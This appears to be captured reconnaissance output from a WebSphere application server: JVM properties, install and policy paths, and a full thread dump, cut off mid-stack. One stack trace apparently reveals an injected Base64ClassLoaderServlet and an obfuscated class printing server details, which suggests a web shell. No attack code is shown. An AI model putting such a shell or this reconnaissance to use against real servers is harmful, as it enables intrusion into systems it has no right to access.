/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/temp/osgi_instance_location/was/2078140000/.metadata/trace.log +java.vm.specification.vendor: Oracle Corporation +com.ibm.system.agent.path: /opt/IBM/WebSphere/AppServer/java/jre/lib/amd64 +was.install.root: /opt/IBM/WebSphere/AppServer +file.separator: / +java.runtime.version: 8.0.8.5 - pxa6480sr8fp5-20230418_01(SR8 FP5) +ibm.signalhandling.sigint: true +sun.boot.class.path: /opt/IBM/WebSphere/AppServer/endorsed_apis/jaxws-api.jar:/opt/IBM/WebSphere/AppServer/endorsed_apis/jaxb-api.jar:/opt/IBM/WebSphere/AppServer/endorsed_apis/javax.j2ee.annotation.jar:/opt/IBM/WebSphere/AppServer/lib/dertrjrt.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmorb.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/amd64/compressedrefs/jclSC180/vm.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/se-service.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/math.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmorb.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmorbapi.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmcfw.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmpkcs.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmcertpathfw.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmjgssfw.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmjssefw.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmsaslfw.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmjcefw.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmjgssprovider.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmjsseprovider2.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ibmcertpathprovider.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/xmldsigfw.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/xml.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/charsets.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/resources.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/rt.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/dataaccess.jar +java.security.policy: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/properties/server.policy +ibm.signalhandling.rs: false +osgi.frameworkClassPath: ., file:/opt/IBM/WebSphere/AppServer/plugins/com.ibm.cds_2.1.0.jar, file:/opt/IBM/WebSphere/AppServer/plugins/com.ibm.ws.eclipse.adaptors_7.0.0.jar +user.country: US +osgi.configuration.cascaded: false +osgi.logfile: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/temp/osgi_instance_location/was/2078140000/.metadata/.log +osgi.embedded.cleanupOnSave: true +com.ibm.zero.version: 2 +com.ibm.oti.vm.bootstrap.library.path: /opt/IBM/WebSphere/AppServer/java/jre/lib/amd64/compressedrefs:/opt/IBM/WebSphere/AppServer/java/jre/lib/amd64 +com.ibm.IPC.requestTimeout: 600 +ibm.signalhandling.sigchain: true +java.vendor: IBM Corporation +javax.management.builder.initial: com.ibm.ws.management.PlatformMBeanServerBuilder +derby.system.home: /opt/IBM/WebSphere/AppServer/derby +java.naming.factory.url.pkgs: com.ibm.ws.naming:com.ibm.osgi.jndi.fep:com.ibm.ws.runtime +java.specification.version: 1.8 +com.ibm.debug.service.register.class: com.ibm.debug.DebugAttachAgent +java.security.properties: /opt/IBM/WebSphere/AppServer/properties/java.security +sun.arch.data.model: 64 + +=========================================== + +ThreadStacks: +"Start Level Event Dispatcher" #31 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@d1860487 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:397) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:333) + +"WMQJCAResourceAdapter : DMN1" #71 daemon [WAITING] on com.ibm.ejs.j2c.work.WorkScheduler@e171967d + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.ejs.j2c.work.WorkScheduler.run(WorkScheduler.java:127) + at java.lang.Thread.run(Thread.java:825) + +"WsSessionInvalidatorThread 95" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40346770 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"WsSessionInvalidatorThread 96" #96 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40346770 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"Timer-5" #57 daemon [WAITING] on java.util.TaskQueue@15a7d373 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at java.util.TimerThread.mainLoop(Timer.java:537) + at java.util.TimerThread.run(Timer.java:516) + +"Timer-3" #55 daemon [WAITING] on java.util.TaskQueue@daa4f090 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at java.util.TimerThread.mainLoop(Timer.java:537) + at java.util.TimerThread.run(Timer.java:516) + +"IProfiler" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"HAManager.thread.pool : 0" #77 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@25e37222 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.take(BoundedBuffer.java:853) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"GC Worker" #23 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Approximate Time Keeping Thread" #38 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleepImpl(Native Method) + at java.lang.Thread.sleep(Thread.java:977) + at java.lang.Thread.sleep(Thread.java:960) + at com.ibm.ws.timeutils.QuickApproxTimeT$TimeThread.run(QuickApproxTimeT.java:129) + at java.lang.Thread.run(Thread.java:825) + +"WsSessionInvalidatorThread 97" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40346770 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"Non-deferrable Alarm : 0" #73 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5a61cc91 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.take(BoundedBuffer.java:853) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"com.ibm.debug.DebugAppServerComponentImpl.ActionThread" #59 daemon [WAITING] on com.ibm.debug.DebugAppServerComponentImpl$ActionThread@47732351 + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.debug.DebugAppServerComponentImpl$ActionThread.run(DebugAppServerComponentImpl.java:210) + +"WsSessionInvalidatorThread 99" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40346770 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"Shared TCPChannel NonBlocking Accept Thread" #68 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:281) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:105) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:98) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:109) + at com.ibm.ws.tcp.channel.impl.ChannelSelector.run(ChannelSelector.java:168) + at java.lang.Thread.run(Thread.java:825) + +"JIT Diagnostic Compilation Thread-007 Suspended" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"JIT-SamplerThread" #10 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + +"JIT Compilation Thread-002 Suspended" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"WebContainer : 2" #117 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.getStackTrace(Thread.java:1178) + at java.lang.Thread.getAllStackTraces(Thread.java:1209) + at org.apache.commons.iXZXy.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:3467) + at java.io.PrintWriter.print(PrintWriter.java:627) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1233) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:782) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:481) + at com.ibm.ws.webcontainer.servlet.ServletWrapperImpl.handleRequest(ServletWrapperImpl.java:178) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.invokeTarget(WebAppFilterChain.java:136) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:97) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:195) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:91) + at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:967) + at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1107) + at com.ibm.ws.webcontainer.servlet.CacheServletWrapper.handleRequest(CacheServletWrapper.java:87) + at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:952) + at com.ibm.ws.webcontainer.WSWebContainer.handleRequest(WSWebContainer.java:1817) + at com.ibm.ws.webcontainer.channel.WCChannelLink.ready(WCChannelLink.java:213) + at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:463) + at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewRequest(HttpInboundLink.java:530) + at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.processRequest(HttpInboundLink.java:316) + at com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.ready(HttpInboundLink.java:287) + at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:214) + at com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:113) + at com.ibm.ws.tcp.channel.impl.AioReadCompletionListener.futureCompleted(AioReadCompletionListener.java:175) + at com.ibm.io.async.AbstractAsyncFuture.invokeCallback(AbstractAsyncFuture.java:217) + at com.ibm.io.async.AsyncChannelFuture$1.run(AsyncChannelFuture.java:205) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1892) + +"Timer-1" #50 daemon [WAITING] on java.util.TaskQueue@ff517f9d + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at java.util.TimerThread.mainLoop(Timer.java:537) + at java.util.TimerThread.run(Timer.java:516) + +"Thread-27" #88 daemon [TIMED_WAITING] on com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThreadDispatcher@2c983be2 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:216) + at com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThreadDispatcher.hasWork(AbstractStatusCache.java:1506) + at com.ibm.ws.management.status.AbstractStatusCache$StatusCacheRefreshThread.run(AbstractStatusCache.java:1584) + +"WsSessionInvalidatorThread 89" #89 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40346770 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2089) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1104) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"HAManager.thread.pool : 1" #78 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@25e37222 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.take(BoundedBuffer.java:853) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"WsSessionInvalidatorThread 94" #94 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40346770 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"WsSessionInvalidatorThread 92" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40346770 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"Concurrent Mark Helper" #13 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"server.startup : 0" #80 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2b592ac0 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"JIT Compilation Thread-006 Suspended" #8 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"WsSessionInvalidatorThread 100" #100 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40346770 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1099) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:820) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:825) + +"P=201350:O=0:CT" #1 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleepImpl(Native Method) + at java.lang.Thread.sleep(Thread.java:977) + at java.lang.Thread.sleep(Thread.java:960) + at com.ibm.ws.runtime.WsServerImpl.main(WsServerImpl.java:733) + at com.ibm.ws.runtime.WsServer.main(WsServer.java:59) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:90) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:55) + at java.lang.reflect.Method.invoke(Method.java:508) + at com.ibm.wsspi.bootstrap.WSLauncher.launchMain(WSLauncher.java:234) + at com.ibm.wsspi.bootstrap.WSLauncher.main(WSLauncher.java:96) + at com.ibm.wsspi.bootstrap.WSLauncher.run(WSLauncher.java:77) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:90) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:55) + at java.lang.reflect.Method.invoke(Method.java:508) + at org.eclipse.equinox.internal.app.EclipseAppContainer.callMethodWithException(EclipseAppContainer.java:587) + at org.eclipse.equinox.internal.app.EclipseAppHandle.run(EclipseAppHandle.java:198) + at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.runApplication(EclipseAppLauncher.java:110) + at org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher.start(EclipseAppLauncher.java:79) + at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:369) + at org.eclipse.core.runtime.adaptor.EclipseStarter.run(EclipseStarter.java:179) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:90) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:55) + at java.lang.reflect.Method.invoke(Method.java:508) + at org.eclipse.core.launcher.Main.invokeFramework(Main.java:340) + at org.eclipse.core.launcher.Main.basicRun(Main.java:282) + at org.eclipse.core.launcher.Main.run(Main.java:981) + at com.ibm.wsspi.bootstrap.WSPreLauncher.launchEclipse(WSPreLauncher.java:425) + at com.ibm.wsspi.bootstrap.WSPreLauncher.main(WSPreLauncher.java:178) + +"JIT Compilation Thread-001" #3 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Thread-23" #63 daemon [WAITING] on java.util.LinkedList@38b14eaf + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.ws.hamanager.impl.UserCallbacks$WorkDispatcher.run(UserCallbacks.java:218) + at java.lang.Thread.run(Thread.java:825) + +"VM Runtime State Listener" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"server.startup : 1" #81 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2b592ac0 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"NotificationServiceDispatcher : 4" #110 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74246431 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"NotificationServiceDispatcher : 3" #93 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74246431 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2174) + at com.ibm.ws.util.BoundedBuffer$GetQueueLock.await(BoundedBuffer.java:298) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:455) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:917) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:1059) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1916) + +"Timer-0" #48 daemon [TIMED_WAITING] on java.util.TaskQueue@c77784dc + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:216) + at java.util.TimerThread.mainLoop(Timer.java:563) + at java.util.TimerThread.run(Timer.java:516) + +"Bundle File Closer" #44 daemon [TIMED_WAITING] on org.eclipse.osgi.baseadaptor.bundlefile.ZipBundleFile@a5f98127 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:216) + at org.eclipse.osgi.baseadaptor.bundlefile.ZipBundleFile.close(ZipBundleFile.java:301) + at org.eclipse.osgi.baseadaptor.bundlefile.MRUBundleFileList.dispatchEvent(MRUBundleFileList.java:183) + at org.eclipse.osgi.framework.eventmgr.EventManager.dispatchEvent(EventManager.java:227) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:337) + +"WMQJCAResourceAdapter : DMN2" #72 daemon [WAITING] on com.ibm.ejs.j2c.work.WorkScheduler@dc00262d + java.lang.Thread.State: WAITING + at java.lang.Object.waitImpl(Native Method) + at java.lang.Object.wait(Object.java:248) + at java.lang.Object.wait(Object.java:187) + at com.ibm.ejs.j2c.work.WorkScheduler.run(WorkScheduler.java:127) + at java.lang.Thread.run(Thread.java:825) + +"Thread-48" #115 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleepImpl(Native Method) + at java.lang.Thread.sleep(Thread.java:977) + at java.lang.Thread.sleep(Thread.java:960) + at com.ibm.ws.cluster.service.delaycache.DelayCacheManagementThread.run(DelayCacheManagementThread.java:187) + +"JIT Compilation Thread-005 Suspended" #7 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Finalizer thread" #30 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"GC Worker" #22 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"WsSessionInvalidatorThread 113" #113 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40346770 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2050) + at 